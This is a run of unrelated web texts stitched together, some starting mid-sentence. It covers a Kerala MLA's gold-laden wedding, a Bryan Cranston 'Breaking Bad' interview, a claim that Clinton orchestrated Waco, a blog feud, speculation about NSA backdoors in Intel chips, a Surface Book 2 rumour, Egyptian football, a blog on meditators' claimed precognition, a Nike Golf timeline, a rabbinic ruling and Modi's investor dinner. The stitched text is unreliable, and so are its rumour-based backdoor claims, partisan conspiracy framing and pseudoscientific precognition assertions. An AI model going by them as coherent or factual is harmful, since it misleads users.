The city council will be regularly briefed on the work and recommendations of the task force and will be able to take action where it deems necessary.THRISSUR: Gita Gopi is a communist party MLA but the way her daughter was decked up for her wedding would make bona fide ‘bourgeoisie’ brides pale in comparison. Photos of the CPI MLA’s daughter – thick gold bangles almost up to the elbow on both hands, shining, heavy necklaces that reached down to her stomach – at her wedding that took place in Guruvayur on Monday have gone viral on social media, seriously embarrassing the CPI which has of late been taking a moralistic stand on various issues.Ironically, in the recent session of the state Assembly, CPI MLA and former minister Mullakkara Rathankaran had appealed to chief minister Pinarayi Vijayan to bring in a law against display of luxury during weddings in the state.Clearly taken by surprise at the public outrage, Gita Gopi’s initial reaction was to apparently plead, “which mother wouldn’t do this for her daughter?” Her party however has taken the matter more seriously. “We have seen the photos with numerous gold ornaments on the bride, and such display of luxury is not acceptable to the party. There are norms for party workers and activists on such issues, and being an MLA she should have been cautious not to violate them,’’ the CPI’s state joint secretary Prakash Babu said. The CPI state committee has asked the Thrissur district leadership to conduct a probe.Political opponents, including the Congress, point out that as per the affidavit submitted by Gita Gopi during the last election her total assets come to only Rs 58 lakh in 2016. Confirming that her assets were as mentioned in her affidavit, Gita Gopi said she and her husband had purchased gold ornaments weighing 50 sovereigns for their daughter. "The rest were gifted by our relatives. The food for the wedding per person cost only Rs 50 and the auditorium rent was only about Rs 1 lakh,’’ she clarified.Interestingly, veteran CPM leader and former CM E K Nayanar as well as current party secretary Kodiyeri Balakrishnan had faced allegations for holding ostentatious marriages of their children.LOS ANGELES—It was so bitingly cold that, on my headphone, I could virtually hear Bryan Cranston shiver. “So cold,” he in fact muttered, as he sat on a bench waiting for the cameras to roll at Civic Plaza in downtown Albuquerque, New Mexico. Several journalists, including myself, were huddled in front of a monitor, watching Bryan shoot this scene for the final season of “Breaking Bad” one afternoon last January.
Winds added to the chill in the air. How unglamorous an actor’s life can sometimes be! Bryan and many extras did take after take out in the bitter cold. Between takes, the three-time Emmy Award best actor (drama) winner put on a hooded parka. A few hours later, the actor, freshly showered, sat down with us for a chat in the warm confines of a hotel suite.
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Nothing on
I told Bryan what his costar Aaron Paul (Jesse Pinkman) told me earlier. “No one knows this,” Aaron said, relaxing with a drink after a day’s shoot, “but Bryan never wears pants in close-up shots. He is very proud of what is happening down there and he thinks it is intimidating for all of us, in a loving way. From the belly down, he has nothing on.”
When I asked how he reacted when Bryan first did this, Aaron answered: “I was not surprised. He slowly removed his pants, staring [at me] as he bent down to do it.”
Bryan’s deadpan reaction: “First of all, never believe what Aaron Paul says. I cannot deny or confess that it is true.” But he added: “There are times when levity is very helpful to a group of people. We work long hours. My call time is 5:40 a.m.; we finish at 6 p.m. We are together for a long time. Actors get tired; levity breaks the tension so I look for opportunities. Plus, I love to have a good time.”
Bryan’s days of dropping trousers in front of Aaron and their costars are numbered. “Breaking Bad,” one of the best shows ever on television, is shooting its fifth and final season. (Followers of the acclaimed series in the Philippines have a few more seasons to look forward to. The riveting show’s third season premieres on April 11, 9 p.m. on Sundance Channel, available on SKY Cable.)
On the New Mexico set, Bryan is admired for his “no bitching” admonition to the cast and crew. “Yes, there are frustrations,” he conceded. “But on my set, nobody is allowed to bitch. It could be about how tiring [the work] is, or not getting a scene right. Or, ‘I have to take a commercial [flight].’ Or, ‘I have to meet a director for dinner.’ Nobody wants to hear that.”
Talisman
Bryan’s portrayal of Walt White, a cancer-stricken high school chemistry teacher with a drug-world king alter ego, Heisenberg, has won him acclaim. Asked what he would bring home as a memento of the show, Bryan said he would take the black pork pie hat that he wears when his Walt conducts his meth business (with Aaron’s Jesse) under the alias Heisenberg.
“That hat is emblematic—it is a talisman,” he explained. “For Walt to be Heisenberg, he needed the hat. If you are wearing a beautiful gown, we would sit differently because we are wearing a different article of clothing. We behave differently. Same with the hat. Walt behaves differently when he is wearing the hat.”
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The actor, who was in the brilliant cast of Ben Affleck’s Oscar- and Golden Globe- winning “Argo,” said he would let series creator Vince Gilligan (writer, producer, director) “end it the way he wants it to end. I am not the lead singer. I am speaking the word. I am getting the lion’s attention but I am not the genius. The genius is Vince.”
Bryan rattled off what he considers the show’s highlights: “In the first season, [Walt] makes a decision that is the result of retribution. In the second season, if he is going to survive, he needs to be a criminal. In the third season, he embraces who he really he is—he senses that someone is intimidated by him. That is very powerful. When we first met Walt, he could not intimidate anyone.”
Bryan continued: “The fourth season is about getting power and coming out of his ego, making this metamorphosis from good to bad. In Season 5, he is already bad. But there is no clear-cut view. Is he a protagonist or an antagonist? Why can’t he be good and bad?”
His ‘drug’
No, Bryan hasn’t tried the meth that Heisenberg makes. “I’ve never done the drug,” Bryan stressed. “I never had the desire. My high is my work. That is my drug. But others are not so lucky. Meth destroys lives. The drug that we are dealing is the condition of the subject. It is not really about the drug but what happens to this man. Can you imagine if the drug was marijuana? People won’t be caring so much.”
Riffing on the show’s title, Bryan said: “People make the decision to be breaking bad. It’s human nature. A person’s character is [molded by] the decisions he makes. I find a wallet with $300—will I take the wallet?”
‘Argo’ role
Looking back on his decision to play one of the CIA agents who plot the rescue of six American embassy staffers in “Argo,” Bryan said he was attracted to the “good” story. “I don’t need to work again,” he said. “But I love to work. The only reason for me to work is if I am passionate about it. I read ‘Argo’ and said, ‘Wow, what a story. I want to do this.’ I met with Ben and said, ‘Yes, let us do it.’ Nobody connected with that film thought it was going to be an Oscar contender. Nobody said that. We just focused on making our film. Classic films do not emanate from the people who watch it but from those who do it.”
Bryan added his own practical wisdom that guides his personal and professional life: “Focus on what you can do. F**k everything else. You cannot control it. It does not mean anything; it does not create work. Does it stimulate conversation? I don’t like gossip. Gossip can only hurt.”
Looking ahead of his post-“Breaking Bad” career, Bryan said: “I have no intention to top it (‘Breaking Bad’). I will never have a role better than Walt White. It is a role that any actor will be envious about. Who has a playground like that? I got trophies and accolades. I am overwhelmed.”
(E-mail the columnist at rvnepales_5585@yahoo.com. Follow him at http://twitter.com/nepalesruben.)
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MOST READBill Clinton’s highly publicized linking of the Tea Party movement to the 1995 Oklahoma City bombing
Dick Morris: Bill Clinton Personally Orchestrated the 1993 Waco, Texas Tragedy
It looks like somebody is going to have to update the Waco Siege page on Wikipedia. Apparently the whitewashed history that former President Bill Clinton would like us to believe regarding the 1993 federal assault on the Branch Davidian compound in Waco, Texas, is missing important details regarding his own personal involvement. In response to Bill Clinton’s highly publicized linking of the Tea Party movement to the 1995 Oklahoma City bombing in an op-ed piece for the New York Times, former Clinton adviser Dick Morris disclosed on Monday that it was Clinton himself, and not Attorney General Janet Reno, as Americans have been led to believe for the past 17 years, who called the shots during the 1993 botched invasion that led to the death of seventy-six people.
Speaking on the Hannity program on the Fox News Network, Morris criticized Clinton for his Oklahoma City comments: “Let’s understand what was Timothy McVeigh’s motivation …he himself had said that it was the reaction to the Waco takeover. Bill Clinton orchestrated that takeover.” Morris went on to say, “Clinton in fact was so ashamed about what he did in Waco that he was not going to appoint Janet Reno to a second four-year term. She told him in a meeting right before the inauguration day … ‘If you don’t appoint me I’m going to tell the truth about Waco.’ And that forced Clinton’s hand … It’s never been said (publicly) before.” For years, Clinton has been criticized for his leadership of the federal government during the Waco crisis, but he has managed to escape personal responsibility for the tragedy. With Morris’s statements, it appears this may no longer be possible. It would seem that Clinton was far more intimately involved with the government response at Waco than previously reported. While there may be a link between Clinton and the Oklahoma City bombing, I would hardly blame the actions of a psychopath on any one individual or political party. However, for Clinton to associate such a horrible act of violence with freedom loving Americans, especially given the fact that he must be fully aware that it was his decisions that led to the Waco catastrophe which in turn inspired Timothy McVeigh, is remarkably shameless.
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Fred Dardick got a BS in Biology at Boston University and MS in Biology at Stanford University before deciding that science bored him. He now runs a staffing company in Chicago where he is much happier now.
Please adhere to our commenting policy to avoid being banned. As a privately owned website, we reserve the right to remove any comment and ban any user at any time.Comments that contain spam, advertising, vulgarity, threats of violence and death, racism, anti-Semitism, or personal or abusive attacks on other users may be removed and result in a ban.-- Follow these instructions on registeringThe comment in question originally asserted that he would take down Protein Wisdom in response to my article and otherwise took issue with my journalistic ethics in very colorful language. After I linked to it, he edited the comment to remove the part about him shutting down his own blog along with a couple of other, silly things.
Luckily, I took a screen cap of the comment before he got around to editing it.
This unsavory little incident, I think, goes to prove the point that I'm trying to make about the way in which the blogosphere is sometimes misused in order to advance misinformation. It also goes to show that the blogosphere is more often a means of advancing the truth - the fact that I can defend myself from what could have ended up looking like a situation in which I'd made up or exaggerated the facts is an important reminder of how useful the blogosphere can be, especially when a particular argument requires ready access to the facts.
Update
Here is the portion of Goldstein's original comment that he later removed on the sly, for those who'd rather not squint at a screen grab:
I've always tried to allow opposing views on this site. Hell, I've let leftwing folks post here, have tried setting up debates with feminist sites. For my troubles, I'll now become the rightwing object lesson for nasty commentary. All because some guy was treated poorly, and because he couldn't be bothered to look past that and do research to see what this site was always about. Of course, if I want to defend myself against such claims, I'm free to go prove myself innocent. That's one of the "concessions." How kind. Awesome! I am well and truly done now. I hate every last bit of this.
After deciding that he would instead take a more nonchalant approach, he changed the text to this:
Awesome! Guess I deserve this for being one of the few sites that actually allows for debate.
... not to mention stealth redaction.
Yet Another Damned Update!
A bit more context for those who need it: I've been debating at Protein Wisdom for two years and received a ridiculously viscous and incompetent reaction. Today I put up an article detailing some examples of this nonsense and discussing the implications; even before the article went up, Goldstein and others were denouncing it as a "hit piece," calling into question my journalistic ethics, and otherwise being wacky. Goldstein also announced that he was so upset that he'd be taking down his blog, but then apparently decided that he wasn't coming off as non-chalant as he'd like and edited the comment to that end. I'd already linked to the comment and responded to it, so when I discovered it'd been altered, I put up a screen cap of the original, more silly version. I took the pic in the first place because I've seen him get into internet squabbles a number of times and have noticed that he has a tendency to change his own words after the fact when those words turn out to be inconvenient. It was a hell of a weekend, really.Dec 29 ’13 Update: Not going to say Told You So.
We wrote this article about 5 months back and now with this slide leaked from Edward Snowden to Der Spiegel more or less proves that Intel is in bed with the NSA. Notice how the famous ‘Intel Inside’ logo is twisted to read “TAO Inside” an abbreviation for Tailored Access Operations Inside. We have in our custody the entire PDF file of the leak and will update you if we find anything relevant.
—————–Original Article——————-
When we are living in the age of Quantum Computers and Brain Implants, it comes as no wonder that there are rumors from highly reliable sources that it is almost guaranteed that NSA is implanting Backdoors in Intel and possibly AMD Chips. And after the recent leak of the PRISM operation by Edward Snowden it grows ever difficult to distinguish between paranoid fantasy and the brutal truth.
Intel Processors(and AMD?) have Backdoors by NSA at the Predistribution Level – TAO Inside!
Meet Steve Blank one of Silicon Valleys leading experts, and according to Mr Blank he would be ‘extremely surprised’ to find out that the US NSA (National Security Agency) was not implanting backdoors onto Intel and AMD Chips – the worlds leading silicon industry giants.
The reasoning behind all this is very simple. To the NSA Hacking would be preferable to Cracking. For e.g there are some encryptions that not even NSA would be able to crack using conventional methods. The AES 256 bit encryption would require the power of roughly 10 Million Suns to crack on current TDP. So how would a security agency like NSA get the information? Obviously not using the conventional channel. Pay a fortune to make a Genius find a Zero-Day in the encryption? Maybe. The most practical course of action would be to simply get the information before or after encryption/decryption, and that is exactly what Mr Blank is claiming the NSA does.
Mr Blank began work as an NSA Contractor at the Pine Gap facility and when he recently heard that the NSA had gained access to Microsoft emails in the Pre-Encryption state, he realized that there was another way NSA could gain access, which was basically lying there to utilize.
Now meet Mr Jonathan Brossard a leading Security Research Engineer and someone who demonstrated proof of concept that the IBM PC architecture has legacy issues at last years Black Hat conference. Mr Brossard however does not agree with the aforestated conclusion. Saying in an email to me : ”As far as cpu microcode is concerned : this is a _feature_ that is_documented_ and well understood. The mechanism relys on very strong cryptography to ensure no hostile microcode can be updated. There is absolutely no reason to believe this is being misused by NSA or whoever. ”
So it would seem unless the cryptography of the microcode is broken it would be implausible that such a backdoor exists. Guess it has been broken.
Intel, AMD Backdoor by NSA at the Postdistribution Level
There have been rumors (infinitely less authentic)hat NSA can use Microsoft Updates to update the CPU Microcode. It is possible that the NSA could utilize this as a pathway to update or expand any hypothetically planted backdoor.
Theres one thing i have to admit, if this is true then this is pure genius by the NSA. An extremely efficient and nigh undetectable way to gain intelligence on just about anybody, and lets admit it who doesn’t use PCs anymore?
Apparently in response peeps over at the Russias Federal Guard Service are switching to electrical type writers and Australian secret services are blocking companies such as Lenovo inside their infrastructure.
It is only fair to add that Intel denies all this speculation.
Disclaimer: The information in this article is not presented as a fact but as an opinion. It is up to the reader to decided what is fact and what is fable.With the release of Microsoft’s Surface Book, the tech giant showed that it too could produce an aesthetic notebook wonder. Fast forward to 2016, it appears that Surface Book 2 is going to be released next year, which is highly disappointing.
Surface Book 2 Has Been Delayed Due To Design Issues With The Notebook
From what we know from our previous report, Surface Book 2 was going to come with Intel’s Kaby Lake series of mobile i5 and i7 processor lineup is most likely going to be a part of the configuration present inside Surface Book 2. We currently do not know which GPU is going to be part of the configuration, but with NVIDIA’s new GeForce GTX series out, it won’t be long till we hear severe graphical improvements from Surface Book 2. In addition to this, the iGPU present in Intel’s Kaby Lake processors will definitely provide a nice little performance boost as opposed to the company’s Skylake processors.
Unfortunately, a supply chain report suggests that due to several design issues, the company has been forced to release Surface Book 2 by 2017. One of the highlights of Surface Book 2 will be in the resolution department and since its predecessor came with a 3000 x 2000 resolution, we expect that a 4K display will be a part of the upcoming notebook.
We understand that this will stress the processor and GPU, but the improved architecture and performance boost will definitely come in handy in terms of efficiency for getting the most out of the notebook in terms of battery life, and perhaps this time, you might actually be able to enjoy AAA game titles with their video settings cranked up.
One of the highlights of Surface Book 2 will be in the resolution department and since its predecessor came with a 3000 x 2000 resolution, we expect that a 4K display will be a part of the upcoming notebook. We understand that this will stress the processor and GPU, but the improved architecture and performance boost will definitely come in handy in terms of efficiency for getting the most out of the notebook in terms of battery life, and perhaps this time, you might actually be able to enjoy AAA game titles with their video settings cranked up.
We will update you on all fronts regarding the upcoming hybrid, but let us know what you thought about the latest setback concerning Surface Book 2.
SourceEgypt Qualifies for African Cup of Nations for First Time Since 2010
Egypt’s national soccer team qualified for the 2017 African Cup of Nations after beating Tanzania 2-0 in Dar es Salaam on Saturday.
AS Roma winger Mohamed Salah scored twice against the Tanzanian team to secure Egypt’s win, while Essam El Hadary, once a key part of Egypt’s national team, made his first appearance since November 2014 to stand as goalkeeper in Saturday’s match.
“People can feel that we have a strong national team that will dominate Africa again,” Arsenal midfielder Mohamed El Neny said in a televised interview following the match.
Egypt’s victory marks its return to the African Cup after failing to qualify for the past three tournaments. The national team last competed for and won the Cup in 2010, marking its third consecutive and seventh overall win in the African Cup of Nations.
The 2017 African Cup of Nations is set to take place in Gabon from January 14 until February 5.
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Many of you have heard of Dean Radin, a famous parapsychologist who has worked for the U.S. government, Contel, and SRI International. His research is helping us make a paradigm shift into the true nature of reality. More importantly, he is helping us realize the power within ourselves.
Mr. Radin has recently been involved with some ground-breaking research that I learned about on Naturalnews.com (article here). His latest research deserves our attention, especially in light of one of my recent articles entitled: The Message of the Bible in Two Radical Verses. In that article I brought up the fact that the Bible states we are gods and that we shall do greater things than Christ.
Mr. Radin’s study involved advanced meditators who practice a non-dual type of meditation. The results give us a glimpse into what I believe is the infinite potential of the mind.
Through a carefully controlled experiment, the brains of these advanced meditators registered the future 1.5 seconds before the controlled event took place! I am not going to repeat the details of the experiment here (you can go to the link I provided above), but the results are simply astounding. The human brain was able to recognize the future, but it was only the brains of the advanced meditators that exhibited this ability.
A friend of mind mentioned that it is our perceptions of time that need to be revised. This is true, and even the article suggests this. But regardless of whether it is the nature of our brain, or time itself that needs to be revisited (or both), it was still through the regular practice of meditation that these practitioners’ brains were able to know the future. In other words, through the practiced discipline of meditation, the power of the mind was expanded.
So what does this say about us? Simply this: it is our level of consciousness that separates the limited us from god.
Like most all ancient religious text, the Bible was written to help us understand how to develop consciousness. It was also written to encourage us to engage in the necessary practices and experiences to evolve our consciousness. All scriptures that encourage us to follow God are simply trying to get us to look within, where the power of God has always dwelt. I’ll illustrate this concept through a well-known scripture below:
“If there arise among you a prophet…and giveth thee a sign or wonder…and the sign or wonder come to pass, wherefore he spake unto thee, saying, Let us go after other Gods, which thou hast not known…thou shall not hearken unto the words of that prophet:
Notice what I have emphasized in the above verse. The problem is not with anyone who knows the future or does something miraculous. The true problem is revealed in the next part of the verse:
“…for the Lord your God proveth you, to know whether ye love the Lord your God with all your heart and soul…keep his commandments and obey his voice…” (Deut. 13:1-4).
The wrongdoing is going after other Gods—i.e., anything outside of you. By keeping the commandments of God (obeying his voice), we are refining the inner nature. In other words, we are developing our level of consciousness and the Christ within.
What’s really so bad about following other Gods?
By following after any external God, you willingly give up advanced opportunities for soul growth because God is within you, not outside of you. This is what it means to break the first and great commandment:
“You shall have no other Gods before me” (Exodus 20:3).
Who is the “me” in that scripture? It is the “I AM” presence that is within all of us.
Biblically speaking, this brings up an important paradigm shift, perhaps one that desperately needs to proliferate through our religious society today:
1) We are the microcosm of the macrocosm.
2) As above, so below.
3) The kingdom of God has always been within us.
4) We are not separate from God.
5) Gods are born when we experience statement 4.
6) The universe is a cosmic womb that births Gods through the countless experiences it provides.
7) The Bible is a compendium of esoteric literature that teaches the all six of the above statements when the symbols, narratives, parables, and wisdom sayings are interpreted correctly.
To the religiously-minded person, the above concepts sound heretical. But the spiritually-centered person knows within himself that they are true. They also realize that we are all connected because God is truly omnipresent.
I know this seems like a lot to digest. And it is, simply because or current reality seems to be so limited in light of all that IS. But don’t worry; we have infinity to get there!
Meditation, as I have always stated on this sight, is an important step to the process of self-realization. I encourage you again to be involved with it every day.
Tomorrow’s post will consider the Old Testament commandment against divination. There’s a good reason why it’s there, but this commandment has nothing to do with what we have been traditionally taught.
Blessings!, we explore the history and future of Nike Golf, which traces its roots to 1984. Historians may quibble over the date Nike Golf actually started. A screenwriter would say it was 1996, when Tiger Woods joined the team.
An abbreviated version of a history timeline is included with today's print version of the story. A long -- really long -- version of the timeline, with information supplied by NIke Golf, appears below. This list has been edited. It includes many important events, but not nearly all of the tournament victories by Nike Golf professionals, though most of Tiger Woods' key victories are listed.
Nike Golf Timeline
1984
Bob Wood creates a business plan on golf for Nike.
Nike does very little in the way of golf apparel (promo shirts in small numbers).
The first line of Nike golf shoes is developed. The most successful shoe in the line is called the Turnberry- a "Field General" football upper with a rubber cupsole and metal spikes.
1985
Nike signs its first athlete, Seve Ballesteros of Spain. He appears on the first Nike Golf poster addressing a ball in a tree with the headline, "No Problema."
Golf footwear is managed as part of the "Cleated/Specialty" footwear department.
The first Golf sales force is hired.
Mark
Nike signs Peter Jacobsen and Curtis Strange to footwear contracts.
US Women's Open champion Kathy Baker signs to wear Nike golf shoes.
Alice Miller and Juli Inkster sign to wear Nike shoes.
The first Golf catalog premieres; it features five footwear styles.
1986
Nike Golf apparel launches; the collection features three shirts, two pants, and a short.
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Hillel organization say they have found halachic sources allowing women to recite prayer in memory of their deceased parents too Halachic ruling: Women may say Kaddish
Rabbi Ariel, who is the chief rabbi of Ramat Gan and served as president of the Tzohar rabbinical organization, was required to address the issue following a question from a reader on the Yeshiva website.
The reader wrote that in the synagogue he prays in on Shabbat, women are allowed to deliver a sermon over the Holy Ark, although "sometimes the woman is not wearing a head cover and/or has a sleeveless top… not to mention the length of her skirt and the cleavage."
'Even if they're dressed modestly'
The reader asked, "1. Is it even permitted to pray in such a quorum? 2. If it is, is it permitted to walk out during the sermon, as this may offend the woman and other people and cause blasphemy? 3. Is it permitted to say the prayers in which there is no sermon?"
Rabbi Ariel responded, "Throughout the entire prayer men and women must be separated." He stressed that "there is no room for a biblical discourse by women in the middle of the prayer, even if they are dressed modestly, and all the more so when their clothes and appearance are immodest. This is blasphemy."
He concluded by urging the reader to "go find yourself a different synagogue."
Rabbi Ariel has strongly slammed the phenomenon of women being called up to read from the Torah in synagogues, ruling that "the public is not permitted to swallow the pride and dignity of the Torah."On the night of 3 February, Prime Minister Narendra Modi hosted a dinner for a group of fund managers and financial institutions who together possess and manage trillions of dollars in assets worldwide. These big players included leviathans such as Abu Dhabi Investment Authority (which manages $770 billion in assets globally), Saudi Arabian Monetary Agency ($755 billion), Hong Kong Monetary Authority ($400 billion), Canadian Pension Plan Investment Board ($205 billion),Singapore’s Temasek ($175 billion) and Australia’s Future Fund ($95 billion). As the hot shots warmed up to India’s rulers on that chilly evening over piping hot vegetarian dishes—Modi’s ministerial colleagues Arun Jaitley, Nitin Gadkari, Suresh Prabhu and Dharmendra Pradhan were present on the occasion—the Prime Minister assured them that he would usher in policies that would drive growth and that he would ensure that a fair and consistent tax system was put in place.
Besides other representatives of Sovereign Wealth Funds (SWFs)—such as GIC of Singapore and California State Teachers’ Retirement System—which are state-owned investment funds, and financial institutions, those of insurers like Hong Kong-based AIA Group and Zurich- headquartered Ace Ltd also attended the dinner at the 7 Race Course Road residence of the Indian premier. Will Hetherton, spokesperson for the Australian government’s Future Fund tells Open, “The Future Fund was honoured to participate in discussions on investment opportunities in India. As a global investor, we were delighted to contribute to the discussion, to learn more about the investment opportunities in India and the work underway to further build an environment that supports investment.” He adds without disclosing specific details of the Fund’s plans in India: “We very much look forward to exploring specific opportunities in India.”
For its part, the Centre has already announced the setting up of a National Investment and Infrastructure Fund (NIIF) with an initial corpus of Rs 20,000 crore, which can be leveraged to draw ten times as much money for projects in this vital sector. Without doubt, infrastructure creation is central to the NDA’s agenda of enhancing economic growth. In his latest Union Budget, Finance Minister Jaitley raised outlays on roads and the gross budgetary support to the Railways by Rs 14,031 crore and Rs 10,050 crore, respectively, over last year’s figures. Now, to raise extra funds, the Government is ready to go all out, and the dinner at the Prime Minister’s residence was just the beginning of a large fund- raising programme on the anvil.
“Such meetings are not really unprecedented, but the optimism this time around was much higher,” says a representative of an SWF who doesn’t want to be named because he isn’t authorised to speak to the media. Another attendee from the Indian side reports that the global investors present there were extremely excited with the Prime Minister’s “pronouncements”. He says, “It helped that he has a majority in Parliament and one of the senior executives of an insurance firm told me that ‘Modi seemed to be in a hurry and we love it’. It is time we say goodbye to slowness.” Pravin Krishna, Chung Ju Yung Distinguished Professor of International Economics and Business at Johns Hopkins University, praises Modi’s statements on taxation. “Hopefully, this can put the fears of retrospective tax changes to rest,” he says.
Faced with criticism within and outside that his reformist moves aren’t quick enough thanks to a series of factors, Modi, three government officials close to the matter say, wants to forge ahead with his plans to attract huge investments in the infrastructure sector. “It is a multi-pronged strategy. The BJP Government wants to do as much as possible to showcase its achievements so as to attract more investment over the next one year,” notes Dharmendra Pradhan, petroleum minister, who, however, refuses to comment on the nature of negotiations at the dinner meeting of early February.
Modi had invited select representatives who were in the country then to attend the India Investor Summit organised by BlackRock, an asset management firm. The Prime Minister, it is learnt, also exhorted fund managers to invest in India to build affordable homes, besides railways, roads and other infrastructural projects. In fact, Norway’s SWF, the world’s largest, too had expressed an intention to increase its holdings significantly in India. Late last year, the fund had said that it had raised its holdings of Indian bonds and stocks to 0.9 per cent of its fixed-income and equities portfolios as part of a broader plan to increase its presence in emerging markets and generate bigger returns. “India is one of those markets where you should expect that we will continue to increase our investments over time, significantly,” Yngve Slyngstad, CEO of the Oslo-based fund, had said in an interview to Bloomberg. “The changes that we have seen have given us more confidence that we will have good investment potential in the coming years,” Slyngstad had said. The Norwegian sovereign fund is now worth the same as the combined market cap of oil giants such as ExxonMobil, Shell and Chevron.
WHAT THE BJP leadership described as a ‘multi-pronged’ approach has got to do not just with the economy, but also politics, notes a senior bureaucrat who is perceived to be a favourite of Modi. “There is a lot of political interest there. Modiji wants the economy to be far more robust and gain in momentum ahead of the next assembly polls, especially the one in Bihar which is due towards the end of the year,” he says.
Prime Minister Modi is well aware of the damage that the rural economy may incur over the next few months and he wants to do his best to offset any distress to rural folk thanks to huge investments that will spur short-term as well as long- term growth, explains an economist who works closely with Modi.
“Rural distress is staring us in our faces. The current rabi crop season has been marked by a shortage of urea and financial irregularities and black marketing as usual. The Centre has not been able to intervene as well as it could have. Modiji is aware of it, but he wants to appeal to the aspiring next-generation among farming communities by bringing in a lot of development and in raising the bar of goodwill towards his dispensation,” adds this economist. Asked if focusing on the agricultural sector is not a priority of the Government, he says, “Infrastructure development will make farming more incentive-based and entrepreneurial. We don’t want our farmers to remain in abject poverty all their lives.” He does not elaborate.
Another BJP leader says that it is to fast- track reforms and to create conditions that will attract global investors that the NDA Government is striving for. Railway Minister Suresh Prabhu, in an earlier interaction with Open, had said that BJP leaders themselves had been over-expecting new railway lines and new trains. “What they don’t realise is that there is no money. Our effort is to bring in more money so that their dreams of last-mile connectivity come true,” he had said. The Indian Railways, which chalks up losses of roughly Rs 26,000 crore every year thanks to its low passenger fares (easily the lowest in the world), has so far been able to raise only a paltry Rs 13,000 crore for new projects that include a doubling of existing lines capacity, laying new tracks and so on. The system charges steep freight charges (among the highest in the world) to cross-subsidise second- class passenger fares and suburban train services. The policy, however, has hurt the Railways: from a market share of more than 60 per cent of goods movement in the late 1980s, the Railways’ share has fallen to almost half that figure as roadway transporters have taken freight traffic away, garnering 60 per cent of the goods market compared with 34 per cent in the late 80s. Which is why the Railway Minister, desperate for investment from all possible quarters for the sector’s rapid development, used his budget speech of 26 February to talk about the need for lawmakers to contribute some of their MPLADS funds to improve passenger amenities. The cash-strapped behemoth, which ferries 23 million passengers daily, is in dire need of funds to set up infrastructure to boost the network’s capacity and quality of services. Prabhu won praise from various commentators for the direction of his budget speech. In a department where ministers were politicians first and ministers second, ignoring systemic needs and instead doling out lollies in their constituencies and home states, his speech was seen as a big departure from the past.
The LIC Initiative
It’s not just global investors such as Future Fund and Norway’s SWF that are cheerful. Big Indian investors, too, are in a buoyant mood over India’s infrastructure spending. For instance, Life Insurance Corporation of India (LIC), India’s largest insurance company with an estimated asset value of Rs 15 lakh crore, is looking at pledging Rs 15,000 crore for the Railways over the next few years, says a senior official. Over a staggered period, as and when the Railways can ‘absorb’ more money, LIC is expected to pitch in more funds, he adds. Professor Krishna, though, is cautiously optimistic about this move. “Investments in infrastructure are clearly necessary. I guess I am not sure as to what the particular motivations are to use funding sources such as the LIC. I look forward to an explanation of the rationale for this move and also a description of process,” he tells Open. The Railways’ expansion plans are constrained by land acquisition hold-ups and a bunch of other legal complications. “But then it is such hassles that the Modi Government is trying to get rid of, since it wants to forge ahead with promoting growth so as to raise enough money to spend on social sector schemes,” says a Finance Ministry official. “True, the Government has come under attack for being neo-liberal in its policies, but anyone with some experience in governance knows only too well that what India needs is what China has done: develop infrastructure at any cost and invite as much funds for it to pull a large chunk of people out of poverty.”
As is well known, modernising Indian Railways is one of Modi’s top priorities, as he expects the overhaul of Asia’s largest rail network under a single entity to become ‘a driver of rural development’. “LIC’s pledge to invest huge sums in new trains, research and development, etcetera, has to be seen in this context,” a Union minister tells Open.
Another BJP leader is of the view that Modi, who doesn’t want his image as a doer to lose its shine, is keen to flag off as many infrastructure projects as possible to flaunt in forthcoming elections. “Whether it is politics or not doesn’t matter to us. We are interested in being part of India’s growth story, and the new Government, unlike the previous one which had lost its sting towards the end, is showing enough promise in acting to facilitate development and usher in opportunities,” says an overseas fund manager who had attended the Prime Minister’s dinner.
A Union minister argues that at a time when “anything and everything is seen from the eye of a political motive”, one has to realise that since taking charge, Modi has adopted market-based energy pricing, permitted more foreign investment in India’s defence industry, and has outlined a clear plan to revive the manufacturing sector through his ambitious ‘Make In India’ programme. “All of them highlight his reform and development agenda, while keeping the poor in mind,” he says. “You will see more investments flowing into restructuring the Railways and many other sectors,” he adds.
But then, the astute politician that Modi is, he is not unaware of the need to retain his halo as a benign reformer who would endear himself to industrialists and the common man alike. “Especially in the aftermath of the poll setback in Delhi, he wouldn’t want the poor to feel that things are the same as they were during UPA rule,” the Union minister says. “What he wants is to drive growth and create the impression that the Government is good for the aspiring middle classes and the under classes.”
Such a campaign doesn’t work without huge expenditure, and for that, funds from across the globe are required besides tapping all avenues back home, he explains. Modi’s efforts to push through the Land Acquisition bill explain his motives, adds this minister. Though the ruling NDA recently faced humiliation in the Rajya Sabha where the opposition had forced amendments to the Motion of Thanks on the President’s address, in the Lok Sabha, when the bill was put to vote, it managed support from allies like Akali Dal which had criticised the law as well as the Lok Janshakti Party. It also got the Shiv Sena not to vote against it, while the Biju Janata Dal (BJD), which is vehemently opposed to the bill, staged a walkout. BJP insiders say that since confrontation has become the name of the game in Parliament, the Modi Government wouldn’t hesitate to call a joint session to pass crucial amendments as part of its efforts to woo global investors for big projects. “My guess is that Modi is determined to do that,” says a senior government official who also dispells the notion that ever since the BJP suffered a rout in Delhi’s polls, it might opt for populist measures to attract votes. In the 7 February election to the Delhi state Assembly, the Arvind Kejriwal-led Aam Aadmi Party won a landslide victory, blotting out the BJP and eliminating the Congress in the state’s 70-member house, winning 67 seats. “It was without doubt a huge setback for the image of Modi and the BJP leadership who were seen as infallible and who never lost any state election where the Prime Minister campaigned ever since he won the 2014 General Election,” admits the first BJP leader. “The invincibility of the BJP campaign machinery suddenly got a rude jolt. But then it won’t idle away in the months ahead of the forthcoming elections. I tell you, they have learnt a lesson. And instead of taking the populist route, they will go for aggressive reforms and crank out projects at a faster pace than you can imagine,” claims this leader.
There will be no dearth of schemes and announcements that appeal to the middle- class, avers the second BJP leader. “In the face of attacks that he hasn’t done enough to retrieve black money stashed away abroad so far, Modiji wants to live up to the expectations of people and will do something meaningful to track down untaxed money hidden in tax havens abroad. The lengthy space given in the Union Budget presented by Mr Jaitley to black money is an indication of Modiji’s resolve. Don’t be surprised to see many implosive findings soon,” claims this BJP leader. “Efforts to get black money are on, especially with the opposition loudly attacking the Prime Minister for merely offering lip service in this regard,” notes a government official close to the matter.
